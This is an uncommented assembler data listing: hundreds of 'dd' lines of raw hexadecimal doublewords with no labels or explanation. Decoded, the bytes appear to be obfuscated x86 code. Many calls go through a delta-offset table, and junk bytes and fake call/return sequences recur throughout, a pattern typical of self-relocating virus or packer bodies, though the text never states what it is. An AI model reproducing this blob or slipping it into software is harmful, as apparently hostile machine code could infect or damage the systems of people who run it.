		dd 0D6FAACEEh, 0B0C84952h, 5F78E59Eh, 7040A76h,	95FFCEB4h
		dd 6071D21h, 19899589h,	85890607h, 60721A5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D0C35141h, 386C8D6Ch
		dd 27758D31h, 0B70F0607h
		dd 8AFF6AD6h, 0A5B5FFF4h, 0E9060721h, 6, 0DDA053B6h, 95FFCE17h
		dd 607213Dh, 0AE8h, 2FE51F00h, 0AE0F928Fh, 0BF411DECh
		dd 250CDD05h, 0E9C08B5Fh, 0Ah, 5DA0D377h, 0C17E39C6h, 0BD83C042h
		dd 6070211h, 83097500h,	70D65BDh, 19740006h, 0C08B5350h
		dd 7D1B8h, 2D858900h, 8D060730h, 9AAA89Dh, 5BD3FF06h, 65BD8358h
		dd 6070Dh, 53501774h, 7D1B8h, 2D858900h, 8D060730h, 9A7979Dh
		dd 5BD3FF06h, 6E86058h,	0A1000000h, 0B8EE6A7Fh,	5F6160F9h
		dd 5113BA66h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 2A32FDEEh, 895236ACh, 716658Dh, 0C08B5906h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3C35343h
		dd 0E9EAF33Eh, 0EEF2CBB6h, 0C6D38A90h, 7152585h, 6A4706h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B0C61C3h, 70BEDBDh,	0F7C16806h, 0D78B93C8h,	2939B5FFh
		dd 9E80607h, 0CF000000h, 0DDC06716h, 0C513F8F7h, 858DF55Ah
		dd 607388Dh, 140DBD33h,	9D090607h, 6072655h, 8501D0FFh
		dd 6071659h, 57006A50h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8B2A458Eh, 72E31BDh, 0A4858D06h
		dd 60060A03h, 1D058D29h, 0BD8B0607h, 6072D41h, 9400C761h
		dd 8B000000h, 14E958FBh, 7C000000h, 0D906A34Bh,	7ED11D7Ch
		dd 0FCAC1829h, 0DA7B2FD1h, 8DD37CA7h, 0A03A4B5h, 458D2B06h
		dd 0E9060726h, 12h, 25CA73D4h, 0C5C26E12h, 285CF358h, 74245C4Fh
		dd 0E956591Dh, 5, 2571688Dh, 0E9D0FFB7h, 12h, 1E6F7F8Ch
		dd 22EFAD4h, 58CBA4D0h,	1FA5A7C9h, 858D87A5h, 60A03A4h
		dd 0BE9h, 0BC82D400h, 6A1A0AC4h, 0F44BEF3Bh, 6047883h
		dd 33850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD0120C3h, 607011Dh, 3885C7FCh
		dd 1060A04h, 89000000h,	71AE18Dh, 0FDBD8306h, 6070Dh, 43850Fh
		dd 0FE8B0000h, 438BD83h, 0F00060Ah, 3485h, 0E58D8900h
		dd 0B2060715h, 0F9BD8306h, 6070Bh, 1F840Fh, 85C70000h
		dd 6070C49h, 0
		dd 0D9816660h, 0FA8B07B6h, 68F0F61h, 8B000000h,	732C995h
		dd 0DB8C6606h, 0BE957h,	0E4480000h, 0FBC84ADAh,	10180D43h
		dd 8B665F40h, 4C3F6D7h,	516840Fh, 8B660000h, 0B185C7FBh
		dd 60732h, 0F000000h, 1180h, 0CE900h, 5EDC0000h, 457ED5C2h
		dd 6F2C925Ah, 0BD8023C5h, 609FF8Eh, 6850F00h, 89000000h
		dd 72D399Dh, 2585C606h,	47060715h, 8E956h, 4BE50000h, 5661F1EAh
		dd 6859B678h, 0E3E45B86h, 7E9h,	0CB45A900h, 93DC7A5Bh
		dd 2939B5FFh, 0F88B0607h, 388D858Dh, 0B5890607h, 6071C25h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 9041CFC3h, 81207C2h, 10468E9h, 8E0F0000h
		dd 0Ch,	68E0Fh,	0BD8B0000h, 6072D6Dh, 1E859D8Dh, 0B9660607h
		dd 8B538EC9h, 70A2195h,	89D0FF06h, 70465B5h, 85858D06h
		dd 6606071Eh, 6050D18Bh, 10E8h,	34E56200h, 0FD125AC5h
		dd 0CC5EFECEh, 0CE3CED79h, 7B4AB8AFh, 0E85B70ECh, 8, 0E0EF302h
		dd 9A8FA7C3h, 0EE8h, 636A1200h,	3BACB7Eh, 884A9A65h, 59152240h
		dd 858D615Bh, 609FF40h,	8E850F9h, 0F1000000h, 0D53648C8h
		dd 0F8BF08Ah, 8D5AF8B7h, 9F61385h, 8D8B5006h, 6070599h
		dd 0F1D95FFh, 23600607h, 716399Dh, 8B665206h, 83615ADEh
		dd 0DE90CC4h, 6D000000h, 0C09EA5C4h, 58F021AAh,	1B090E34h
		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 609F613h
		dd 0F195FF50h, 89060726h, 9FF2385h, 2585C606h, 47060715h
		dd 0B15E8768h, 39B5FFC7h, 8D060729h, 7388D85h, 6AD0FF06h
		dd 23B5FF00h, 0FF0609FFh, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 572A5FFCh
		dd 0E9429AEDh, 5, 0F84E3C6Dh, 12E830h, 2E900000h, 0C1FFC738h
		dd 0BBFC0EF1h, 8BF9D37Eh, 7435AE76h, 0EE9h, 2DD69F00h
		dd 60158619h, 0FFC98064h, 59E25B53h, 1F91BD8Bh,	0D03D0607h
		dd 0F000037h, 6683h, 0DF816600h, 0B5FF8739h, 609FF23h
		dd 18118D89h, 95FF0607h, 6071AF5h, 2DD18589h, 0E9FC0607h
		dd 10Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	0ABC35646h, 0E83E19F5h,	13h, 0B77CEBEDh, 0B8D00638h
		dd 0AAEC2D7Bh, 0DEF6D95h, 66F29D0Ch, 0ABFDE181h, 98D8B5Ah
		dd 0FF060724h, 9FF23B5h, 1958906h, 0FF060728h, 71AF595h
		dd 45958B06h, 6A060710h, 13E86000h, 0B4000000h,	0A5F3CFE7h
		dd 0E405E013h, 3477C081h, 0F69095AFh, 8D8B54DBh, 60716A5h
		dd 4985295Fh, 61060712h, 860F006Ah, 0Eh, 0B1858960h, 29060723h
		dd 70ADDBDh, 6A6106h, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 17h, 0B9C35040h, 0F740744h, 6AF8B7h, 6ACA8Bh
		dd 13E1958Bh, 6A0607h, 31D7B70Fh, 729498Dh, 27858D06h
		dd 560609FFh, 3356F781h, 605F02B6h, 325DBD29h, 50610607h
		dd 1B2D8D29h, 95FF0607h, 60726F1h, 0EE62E181h, 0F883000Ah
		dd 29850FFFh, 0BF000001h, 534AA3FFh, 0B5C5858Dh, 0EF810609h
		dd 6F1650C5h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0ABAE94C3h, 6A59175Eh, 0D78B6600h
		dd 8166006Ah, 6A9D4EC7h, 6AF900h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 98C35141h, 8BB03EEEh, 71C258Dh
		dd 0E1816006h, 5AD2F54h, 0B0D36DBBh, 6A6162h, 19D98D09h
		dd 0BA660607h, 6ACECAh,	1A058D8Bh, 858D0607h, 609FF27h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h
		dd 1E12F53Ah, 19A7A81h,	730298Dh, 7F92B906h, 89504737h
		dd 73221BDh, 0F195FF06h, 0F060726h, 18Ch, 0F883FC00h, 4D850FFFh
		dd 8B000000h, 2FB58DF9h, 8A0609F9h, 0A6858DD0h,	310609A3h
		dd 715418Dh, 6AD0FF06h,	8D8B5600h, 60711B5h, 1D95FF5Fh
		dd 6A060719h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 8C55C350h, 9D89C717h, 6071FA9h
		dd 0FF238589h, 8D890609h, 60705E5h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 6E52CDC3h
		dd 89DD9002h, 7270985h,	1B858D06h, 810609FFh, 0EE9DB7E1h
		dd 46A5069h, 2DBB6050h,	92300A3h, 72F85B5h, 8D5A6106h
		dd 71B7585h, 91958906h,	5006070Fh, 1C4D958Bh, 6A0607h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 58C35040h
		dd 0C2D8BF66h, 1F1BD09h, 6A0607h, 799BD8Bh, 16A0607h, 0FF23B5FFh
		dd 0CE8B0609h, 2FC995FFh, 0E2800607h, 1AE0E9D5h, 0F7810000h
		dd 511FBA87h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 25AA1CC3h, 0A415E232h, 0F87C867Eh
		dd 211BD83h, 75000607h,	65BD8309h, 6070Dh, 53501974h, 0D2B8C08Bh
		dd 89000007h, 7302D85h,	0A89D8D06h, 0FF0609AAh,	83585BD3h
		dd 70D65BDh, 17740006h,	0D2B85350h, 89000007h, 7302D85h
		dd 979D8D06h, 0FF0609A7h, 66585BD3h, 0DCE9F781h, 2E79B589h
		dd 0C08B0607h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0A1C35141h, 0B185C735h,	1060732h, 89000000h, 711C58Dh
		dd 0E7B86806h, 0B5FFCEE4h, 60730A5h, 388D858Dh,	0D0FF0607h
		dd 1D018589h, 0D4680607h, 0FFC005DBh, 730A5B5h,	8D858D06h
		dd 0FF060738h, 0DD8589D0h, 8D060704h, 9F3CC85h,	0B5FF5006h
		dd 6072939h, 305595FFh,	0C00B0607h, 0D88B0B74h,	37F858Dh
		dd 0FF50060Ah, 7F858DD3h, 66060A03h, 75093883h,	985C70Ah
		dd 106070Ah, 0FF000000h, 7129D95h, 0FF2506h, 0F8830000h
		dd 0C70A7305h, 72FA985h, 106h, 0FD8D8B00h, 0F506071Ah
		dd 0FF8EBD80h, 0F000609h, 1085h, 0DF816600h, 8BE9F8D3h
		dd 8B000019h, 71DB9BDh,	9BD8306h, 6070Ah, 77850Fh, 14E80000h
		dd 0FA000000h, 950D6E77h, 8D0816F6h, 46032DB0h,	0E3D7C2C0h
		dd 80DCA9CBh, 8D5AA1F5h, 9FF5885h, 0DD8D8B06h, 50060713h
		dd 16AD48Ah, 0A81DE5BFh, 8B006A34h, 72835BDh, 0F8006A06h
		dd 1D2195FFh, 8D010607h, 6070549h, 0FF828589h, 31600609h
		dd 715A99Dh, 119D8B06h,	6106071Ch, 8166FF6Ah, 0FFF74AEAh
		dd 9FF82B5h, 3D95FF06h,	8B060721h, 713F5BDh, 93858D06h
		dd 8B0609F3h, 71F9595h,	0D9815006h, 30932CAFh, 23F195FFh
		dd 0D08A0607h, 0F41D8589h, 81660609h, 8D778DC9h, 9F3A085h
		dd 0DDF18106h, 50292F59h, 0E303D281h, 0B5FF3B4Bh, 609F41Dh
		dd 21CD958Bh, 8D8B0607h, 6071D59h, 305595FFh, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 64A6E2C3h, 1AD5467Eh, 0F99D892Bh, 89060700h,	7177D85h
		dd 54BF6606h, 0E858D98h, 0E80609F4h, 0Dh, 6B4509F0h, 0BEF1D106h
		dd 0F2494C20h, 8E9D4h, 0C5E00000h, 40045D3Eh, 50596BCEh
		dd 330DB501h, 0B5FF0607h, 609F41Dh, 1C858D8Bh, 0BD8B0607h
		dd 6071895h, 305595FFh,	8D890607h, 6071D9Dh, 0F4318589h
		dd 0B70F0609h, 0ED858DCEh
		dd 660609F3h, 0D723EA81h, 53006A50h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 522B0814h
		dd 8D33780Ch, 60702C1h,	0F41DB5FFh, 0EF810609h,	58DE0185h
		dd 305595FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0EF63D1C3h, 0F4298589h, 0AE80609h
		dd 1D000000h, 5A6D0E90h, 0C927042Ah, 25B58904h,	59060728h
		dd 0F3E0858Dh, 8F0F0609h, 6, 12FD8D8Bh,	6A500607h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2342C350h, 0B545BBF9h, 0FB8B66ABh, 0F41DB5FFh, 958B0609h
		dd 6071FF1h, 305595FFh,	8B660607h, 2D8589CEh, 530609F4h
		dd 11FD958Bh, 0F5F0607h, 681h, 0A4D28100h, 8D63FE9Fh, 9F3FB85h
		dd 0D0B70F06h, 0B5FFF850h, 609F41Dh, 95FFC88Bh,	6073055h
		dd 8589E8B5h, 6070B79h,	0D348DA81h, 858D5B1Eh, 609F3AFh
		dd 0C0BF0F60h, 12E85061h, 0E7000000h, 840C5EBEh, 0E1AD2443h
		dd 77AA8684h, 4EE36C1Eh, 45958915h, 5906071Dh, 0F41DB5FFh
		dd 11E90609h, 1F000000h, 0F1080A22h, 6F4817B7h,	219241C1h
		dd 0EC0518C8h, 305595FFh, 0BD310607h, 60712E5h,	0F4218589h
		dd 858D0609h, 609F3BEh,	20CD62B9h, 0BD89505Eh, 6071221h
		dd 6820Fh, 85890000h, 6072D45h,	0F41DB5FFh, 890F0609h
		dd 0
		dd 305595FFh, 7E90607h,	0B1000000h, 0DC388D00h,	81669669h
		dd 8974E4EAh, 9F42585h,	1D958B06h, 68060729h, 104h, 14918531h
		dd 858D0607h, 609F4B5h,	55006A50h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BEC8FA9h, 71ABDBDh, 0B9858D06h
		dd 660609F5h, 506F7FBFh, 3859509h, 95FF0607h, 6071301h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h
		dd 0D4DA815Eh, 660467BFh, 857677B9h, 11850FC0h,	89000000h
		dd 7163585h, 0BD896006h, 6071D9Dh, 61F88B66h, 0FF8EBD80h
		dd 0F000609h, 5285h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0B43B5901h, 0B9108712h
		dd 0E9804381h, 0FCBF53CFh, 5F1F6CC4h, 15A9E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8393718Eh, 70A09BDh,	850F0006h, 27h,	12E9h, 0F4230F00h
		dd 0EECA325Dh, 319D85D8h, 0EA613DF8h, 8336EBAFh, 0A0438BDh
		dd 840F0006h, 4Fh, 8DCA8B66h, 9F45285h,	55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 70B4A164h, 8B6621C3h, 1528E9FAh, 0EE90000h, 0B7000000h
		dd 230C8B3Fh, 6EE177E3h, 28F0D157h, 10E983h, 81660000h
		dd 8D1EF0D9h, 9F43D85h,	0F2816606h, 0F50A1FDh, 682h, 0EDE18100h
		dd 8D1AD5F3h, 9F4B585h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 6A5030h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0F147F8C3h
		dd 9BD83D4h, 6070Ah, 3E840Fh, 81F80000h, 652EE8F2h, 0DB858D2Eh
		dd 6A0609F5h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0FC2EC351h, 8B95455Bh,	71BB98Dh
		dd 11E906h, 8D8B0000h, 6070659h, 0F5C4858Dh, 81660609h
		dd 5027F4E9h, 0F613858Dh, 85B50609h, 95FFF950h,	6070F1Dh
		dd 836AE180h, 7E910C4h,	77000000h, 78195D6h, 0C08B532Bh
		dd 211BD83h, 75000607h,	65BD8309h, 6070Dh, 53501974h, 0D3B8C08Bh
		dd 89000007h, 7302D85h,	0A89D8D06h, 0FF0609AAh,	83585BD3h
		dd 70D65BDh, 17740006h,	0D3B85350h, 89000007h, 7302D85h
		dd 979D8D06h, 0FF0609A7h, 89585BD3h, 7318D9Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0D57F929Fh, 0F81F8289h, 0BD0B59EBh, 6072FE9h, 5ACC8A52h
		dd 958BC08Bh, 6070AA9h,	0F43DBD81h, 726F0609h, 840F6165h
		dd 8Eh,	5758D09h, 858D0607h, 609F4B5h, 0F2858D50h, 500609F5h
		dd 0F613858Dh, 0FF500609h, 70F1D95h, 0CC48306h,	152585C6h
		dd 68440607h, 96A3184Fh, 2939B5FFh, 858D0607h, 607388Dh
		dd 0D88BD0FFh, 0F613858Dh, 0FF500609h, 3D858DD3h, 500609F4h
		dd 0F4B5858Dh, 83500609h, 70A09BDh, 8740006h, 0F5DB858Dh
		dd 6EB0609h, 0F5C4858Dh, 8D500609h, 9F61385h, 95FF5006h
		dd 6070F1Dh, 8B10C483h,	72C5D8Dh, 0F88B6606h, 1A31BD8Bh
		dd 95FF0607h, 607129Dh,	25D3BF0Fh, 0FFh, 59CDB657h, 0F05F883h
		dd 9D83h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0BD739D3Fh, 1E6F7F8Ch, 12E9h, 1AB00400h
		dd 0E360EA78h, 0BCB975A2h, 833D92C5h, 0C7E0FB87h, 72FA985h
		dd 106h, 0B650BF00h, 858D4735h,	609F471h, 1BA1958Bh, 71E90607h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0C5A6C356h, 14E8EEA4h,	0F0000000h
		dd 0F6398E86h, 7F23C802h, 6A34B7Ch, 0D11D7CD9h,	6018297Eh
		dd 0C1D38166h, 0DEBF0F21h, 0BD835A61h, 6070A09h, 15840F00h
		dd 0F8000000h, 0F49C858Dh, 0ED800609h, 12E900h,	0E1810000h
		dd 3485F803h, 0F47E858Dh, 0BD0B0609h, 6071165h,	0F4B18589h
		dd 0F7810609h, 23600663h, 0C5BD2350h, 5F060731h, 0A09BD83h
		dd 0F000607h, 3985h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 4C089F7Bh, 666C9931h
		dd 6FA7EF81h, 438BD83h,	0F00060Ah, 1084h, 0D7816600h, 0CBE96306h
		dd 81000011h, 4FE21BCAh, 4AFE94Bh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 925368C3h
		dd 0D192518Bh, 919D89E5h, 8B060706h, 0D98D89C0h, 8306070Eh
		dd 70211BDh, 9750006h, 0D65BD83h, 74000607h, 8B535019h
		dd 7D4B8C0h, 85890000h,	607302Dh, 0AAA89D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6070D65h, 50177400h, 7D4B853h, 85890000h
		dd 607302Dh, 0A7979D8Dh, 0D3FF0609h, 0BEB5585Bh, 0A499D89h
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 378092C3h, 96B6AA8Fh, 6880Fh, 0EA810000h
		dd 42D29F1Ch, 8166C08Bh, 68181DF2h, 0F003Fh, 5886BA66h
		dd 958B006Ah, 6071C1Dh,	0BD89006Ah, 6070D6Dh, 177D95FFh
		dd 95030607h, 6073209h,	850FC085h, 8, 0DDB58951h, 5906071Fh
		dd 0F4358589h, 6A0609h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0AA971C3h, 0E981924Dh, 34979C54h
		dd 6AD0B70Fh, 0E8006A00h, 0Dh, 70FCBDA3h, 0CFABA57Bh, 22AD77h
		dd 399533D4h, 59060718h, 0A0F28166h, 0FC006AD7h, 8166006Ah
		dd 6A44B9C7h, 0C58D8B00h, 8D060713h, 9F61385h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 214ED707h, 32C4242Ch, 5E9h, 2DD2E400h, 0E95182DDh, 0Ah
		dd 3FBC8B0Fh, 55E30926h, 505A4DC4h, 16ACB8Bh, 6800Fh, 0BD8B0000h
		dd 6071B8Dh, 8D8B016Ah,	6071E79h, 0D45BD8Bh, 16A0607h
		dd 0FF68FDB5h, 6A000F01h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 2C94C355h, 70CF6E29h
		dd 0A09BD83h, 0F000607h, 4884h,	6E85000h, 9F000000h, 42D3994Eh
		dd 0F59D09AAh, 5F06072Fh, 92858D59h, 660609F4h,	0E9182BB9h
		dd 32h,	17800Fh, 12E90000h, 59000000h, 635C1C8Fh, 17CF4B48h
		dd 0F687D890h, 1D5A7E10h, 958B506Fh, 6072F65h, 68858D5Ah
		dd 0F90609F4h, 15098D8Bh, 8B500607h, 71AD595h, 9D895006h
		dd 6071A71h, 0F435B5FFh, 0BD310609h, 6072EE5h, 0F42195FFh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0B3BF91C3h, 56EA87BCh, 6820Fh, 958B0000h
		dd 6070F51h, 0FC08559h,	2C85h, 9E900h, 2DB90000h, 0D807A8B2h
		dd 60B5F0F4h, 26659D89h, 8D890607h, 6070325h, 60E961h
		dd 0F600000h, 0F281F6B7h, 2EFC542Ch, 39858961h,	6A0609F4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0D673C356h, 3810F99h, 0F000000h, 0B5FFD2BFh
		dd 609F439h, 95FF29B2h,	6070B79h, 1A999D89h, 0C0850607h
		dd 0C850Fh, 0EF810000h,	0D32E51Fh, 2E7D8529h, 106A0607h
		dd 3399D01h, 0BD830607h, 6070A09h
		dd 62840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 5F5FC355h, 0C27EC857h
		dd 5D7AC2B5h, 858DC88Bh, 609F492h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0B5C35747h,	16458D89h, 0C2810607h
		dd 45DDCEAEh, 1AE9h, 9D295300h,	6072EFDh, 68858D59h, 8B0609F4h
		dd 7317995h, 71B50906h,	50060721h, 0FF2EF680h, 9F435B5h
		dd 61BD8B06h, 0FF06071Ch, 9F42D95h, 658D8B06h, 85060719h
		dd 6850FC0h, 29000000h,	700B995h, 39858906h, 6A0609F4h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0C8D0C355h, 59070F61h, 0F2B5991h,	0BB60CFBFh
		dd 0F99D448h, 6A61F8h, 5ED8589h, 6A0607h, 2DE18589h, 0B5FF0607h
		dd 609F439h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0FC35545h, 2595FFF1h, 290609F4h, 706B9B5h, 0FC08506h
		dd 685h, 8AF78100h, 0FF65B415h,	9F439B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0E05416AAh, 47F2DA7Ch, 0FFF8132Bh, 70B7995h,	0C9B70F06h
		dd 850FC085h, 25h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 4C35747h, 82E4B04Eh, 0E2BA662Ch, 29006A50h
		dd 723F9B5h, 806806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 6AFC3FC3h, 52006A03h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 6A5EB22Dh, 6AF500h, 1C958D89h, 85890607h, 6072C5Dh
		dd 68h,	6880FC0h, 2B000000h, 7120595h, 870F06h,	0FF000000h
		dd 9F4B1B5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0F7736F4Ah, 29D59F3Eh, 9589FF25h
		dd 6070329h, 0FFFEB70Fh, 726F195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD89DDFEh
		dd 60723DDh, 5299529h, 0F8830607h, 42850FFFh, 0F000005h
		dd 281h, 609FB600h, 1C059589h, 8D8B0607h, 607126Dh, 1F85FF61h
		dd 830609FFh, 9FF1FBDh,	840F0206h, 41Ch, 0F59F858Dh, 0B060005Ah
		dd 19B58900h, 6106071Bh, 9D31D0FFh, 6072195h, 0EFF2858Dh
		dd 0F38A005Ah, 7FE9C981h, 0D0FF3545h, 0BE8h, 0C3AD1E00h
		dd 56F7FB0Ch, 0E4C87D46h, 0B9B501h, 515A0607h, 8B616060h
		dd 72111BDh, 8B596106h,	218D03C0h, 83060732h, 70211BDh
		dd 9750006h, 0D65BD83h,	74000607h, 8B535019h, 7D8B8C0h
		dd 85890000h, 607302Dh,	0AAA89D8Dh, 0D3FF0609h,	0BD83585Bh
		dd 6070D65h, 50177400h,	7D8B853h, 85890000h, 607302Dh
		dd 0A7979D8Dh, 0D3FF0609h, 0BD31585Bh, 6071C55h, 0FE9h
		dd 38FFA800h, 0F969A9BEh, 7DDD051h, 0DBB4C2F7h,	8D8BC08Bh
		dd 6073119h, 0F003F68h,	958B5700h, 6070339h, 8B006A59h
		dd 719D995h, 89006A06h,	715E58Dh, 7D95FF06h, 1060717h
		dd 720D595h, 89C08506h,	7314195h, 6800F06h, 89000000h
		dd 71A91B5h, 35858906h,	680609F4h, 0F01FFh, 831FC280h
		dd 70A09BDh, 840F0006h,	42h, 8E8h, 0DB4E7100h, 4CEBDD8Ch
		dd 0A6F2802Ah, 92858D5Fh, 6A0609F4h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B80BC350h
		dd 895A87ECh, 72655BDh,	0CE906h, 858D0000h, 609F468h, 4518529h
		dd 89500607h, 72059B5h,	35B5FF06h, 0BA0609F4h, 1667A957h
		dd 0F42D95FFh, 8B660609h, 14E8D1h, 0A1620000h, 6287048Ah
		dd 234E89C9h, 175FA65h,	9F403BD5h, 0BD89B0E7h, 607030Dh
		dd 3985895Ah, 600609F4h, 0BACFBF0Fh, 6047E55Fh,	3585C761h
		dd 6071Ah, 89000000h, 72FC59Dh,	39BD8306h, 609F4h, 22B840Fh
		dd 0BF0F0000h, 17858DD1h, 6A0609F7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 32CCC357h
		dd 5880Fh, 24BF0000h, 0E85C8DB6h, 14h, 7DFFD3E4h, 2805707h
		dd 336E05E2h, 6FFCC26Fh, 806B0F15h, 6E9h, 9AEE1C00h, 5922C785h
		dd 8C0F6050h, 3, 81C3BF0Fh, 704B5CDAh, 16A612Bh, 0F439B5FFh
		dd 0E9800609h, 3195FFCDh, 6A0609F4h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 618FC352h
		dd 0DE640684h, 6860FE8h, 0B000000h, 70C3995h, 39B5FF06h
		dd 0F0609F4h, 95FFCABFh, 6070B79h, 6880Fh, 8D2B0000h, 6072F59h
		dd 0F01FF68h, 0D19D8900h, 0E9060709h, 10h, 8F7EDA2h, 0F0486254h
		dd 0E72521B9h, 0B6837656h, 0A09BD83h, 0F000607h, 6584h
		dd 0D7B96600h, 7E9BEh, 0F33D0000h, 282A5613h, 92858D9Dh
		dd 6A0609F4h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8BB9C353h, 70B4195h, 55E906h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8589F3C3h, 6072021h, 3ADB589h, 858D0607h
		dd 609F468h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0E2C35242h, 0BCD393F0h,	0A1B501A7h, 50060731h
		dd 1FD28166h, 7E9A1h, 0C2A00000h, 0B74C4677h, 35B5FF88h
		dd 6A0609F4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0E7A2C351h, 3D129A1Dh,	10B5D603h
		dd 0FFD18B66h, 9F42D95h, 11852906h, 89060727h, 9F43985h
		dd 0CE906h, 0EC700000h,	55745CFFh, 0CAF145EFh, 0B5FFBD6Bh
		dd 609F439h, 0AE8h, 0F706A900h,	1D90C27Bh, 33F5481Dh, 720B5BDh
		dd 95FF5906h, 609F429h,	0F439B5FFh, 958B0609h, 607207Dh
		dd 0B7995FFh, 0EE90607h, 0EF000000h, 88017E79h,	0FFB19B41h
		dd 2A4A4C8Bh, 0F675E994h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 973BF2C3h, 0FF82B5FFh
		dd 95FF0609h, 6071C19h,	19598D8Bh, 858B0607h, 6070455h
		dd 10E9h, 0C22C1700h, 5F37D00Bh, 2AE769FFh, 6952360Fh
		dd 5A9E9FCh, 0BF660000h, 0B58DCDA7h, 609F737h, 13299D29h
		dd 0E7B60607h, 0A3A6858Dh, 0B70F0609h, 6AD0FFF9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 7EB2C355h, 4CE6E584h, 93A1FDD7h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 30A947C3h
		dd 8F0FDE87h, 6, 3331B589h, 95FF0607h, 607191Dh, 0FEB70F50h
		dd 0A675B95Ah, 0F38B3A35h, 0DA7AE2BAh, 0A6858D12h, 0E80609A3h
